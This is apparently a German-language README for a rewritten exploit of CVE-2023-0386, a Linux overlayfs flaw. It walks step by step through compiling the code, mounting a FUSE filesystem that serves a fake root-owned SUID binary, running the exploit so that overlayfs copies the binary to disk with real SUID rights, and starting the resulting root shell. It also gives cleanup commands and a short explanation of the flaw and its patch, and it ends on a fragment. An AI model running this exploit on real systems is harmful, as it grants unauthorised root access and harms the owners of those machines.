
Kopieren Sie gefälschte In-Memory-Dateien mit overlayFS auf die Festplatte
Ursprüngliche CVE-Quelle geschrieben von xkaneiki: https://github.com/xkaneiki/CVE-2023-0386/tree/main
Umschrieben, sodass der Exploit in einer Shell ausgeführt werden kann (originaler Exploit benötigt 2 Shells).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
Bereinigung
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt, um eingehängte Dateisysteme anzuzeigenfuse.c erstellt ein FUSE-Dateisystem, das unter /tmp/fusepwn/lower eingehängt wird und eine gefälschte SUID-Binärdatei im Besitz von root bereitstellt. Dies ist ein speicherbasiertes Dateisystem, sodass wir die Berechtigungen beliebig vortäuschen können.
exp.c erstellt dann einen Overlayfs-Mount in /tmp/fusepwn und öffnet die gefälschte SUID-Binärdatei (/tmp/fusepwn/lower/bin). Beim Öffnen wird overlayfs veranlasst, einen Copy-up durchzuführen, der die gefälschte SUID-Binärdatei mit echten SUID-Rechten und als root auf die Festplatte schreibt.
Die Schwachstelle besteht in overlayfs, da es blindlings den Dateiberechtigungen vertraut, die vom unteren Dateisystem bereitgestellt werden. Wenn das untere Dateisystem der Kernel ist, ist das in Ordnung (da es ohne root-Rechte nicht manipuliert werden kann). Wenn das untere Dateisystem vom Benutzer manipuliert werden kann, ist das nicht in Ordnung, da wir die vorhandenen Dateien vortäuschen können (z. B. durch die Verwendung von FUSE).
Der Patch prüft, ob die UID/GID der Datei innerhalb des Benutzernamensraums gültig ist. Wenn nicht, schlägt der Copy-up fehl.
d.h.
proc/self/uid_map abbilden